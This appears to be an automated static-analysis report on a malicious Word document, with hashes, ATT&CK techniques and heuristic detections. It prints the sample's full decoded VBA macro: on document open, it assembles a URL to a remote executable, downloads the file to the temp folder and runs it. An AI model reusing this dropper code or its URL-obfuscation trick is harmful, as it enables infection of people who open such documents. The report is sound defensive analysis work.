Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 f1058f092dd9c966…

MALICIOUS

Office (OLE)

44.5 KB Created: 2015-05-27 21:05:00 Authoring application: Microsoft Office Word First seen: 2015-06-09
MD5: 7e49fb99396f061d685353159752c504 SHA-1: e90e0efbf0718130a546014ebde025cc63e894bb SHA-256: f1058f092dd9c966f86f01bd59f536418d214c52974b88e4f131e209c85496b0
298 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1105 Ingress Tool Transfer

The sample contains VBA macros that instruct the user to enable them to view content, a common lure. The Document_Open macro then constructs the URL 'http://leahwatkins.com/wp-includes/pomo/document.exe', downloads it to the temporary directory as 'plkjhnbgf', and executes it. This indicates a downloader functionality.

Heuristics 9

  • ClamAV: Doc.Downloader.Generic-6754310-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Generic-6754310-0
  • Reference to URLDownloadToFile API critical SC_STR_URLDOWNLOAD
    Reference to URLDownloadToFile API
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
            Shell ODPBALMA, vbNormalFocus
  • URLDownloadToFile in VBA critical OLE_VBA_DOWNLOAD
    URLDownloadToFile in VBA
    Matched line in script
    Private Declare PtrSafe Sub URLDownloadToFileA Lib "Urlmon.dll" (ByVal ORTEJOPS As Long, ByVal FLYKQCRP As String, _
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Sub Document_Open()
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
        ODPBALMA = Environ("Temp") & "\" & "plkjhnbgf"
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main Referenced by macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1355 bytes
SHA-256: 882154fe1b594996217e65b2a1e50dd8918906eef69a2abe54ec8667264903ed
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

#If Win64 Then

Private Declare PtrSafe Sub URLDownloadToFileA Lib "Urlmon.dll" (ByVal ORTEJOPS As Long, ByVal FLYKQCRP As String, _
    ByVal BDJYRVHI As String, _
    ByVal VJDZZIFI As Long, ByVal KAMJSIRJ As Long)

#Else



#End If


Sub Document_Open()
    BOEGSYSK
End Sub

Sub BOEGSYSK()
    GAMQHBCI = "leahwatkins.com/wp-includes/pomo/document"
    ODPBALMA = Environ("Temp") & "\" & "plkjhnbgf"
    
    GAMQHBCI0 = "h"
    GAMQHBCI0 = GAMQHBCI0 + "t"
    GAMQHBCI0 = GAMQHBCI0 + "t"
    GAMQHBCI0 = GAMQHBCI0 + "p"
    GAMQHBCI0 = GAMQHBCI0 + ":"
    GAMQHBCI0 = GAMQHBCI0 + "/"
    GAMQHBCI0 = GAMQHBCI0 + "/"
    GAMQHBCI0 = GAMQHBCI0 + GAMQHBCI
    GAMQHBCI0 = GAMQHBCI0 + "."
    GAMQHBCI0 = GAMQHBCI0 + "e"
    GAMQHBCI0 = GAMQHBCI0 + "x"
    GAMQHBCI0 = GAMQHBCI0 + "e"

    URLDownloadToFileA 0, GAMQHBCI0, _
    ODPBALMA, 0, 0

    If Len(Dir(ODPBALMA)) > 0 Then
        Shell ODPBALMA, vbNormalFocus
    End If

End Sub


Attribute VB_Name = "NewMacros"
Sub uytred()
'
' uytred Macro
'
'

End Sub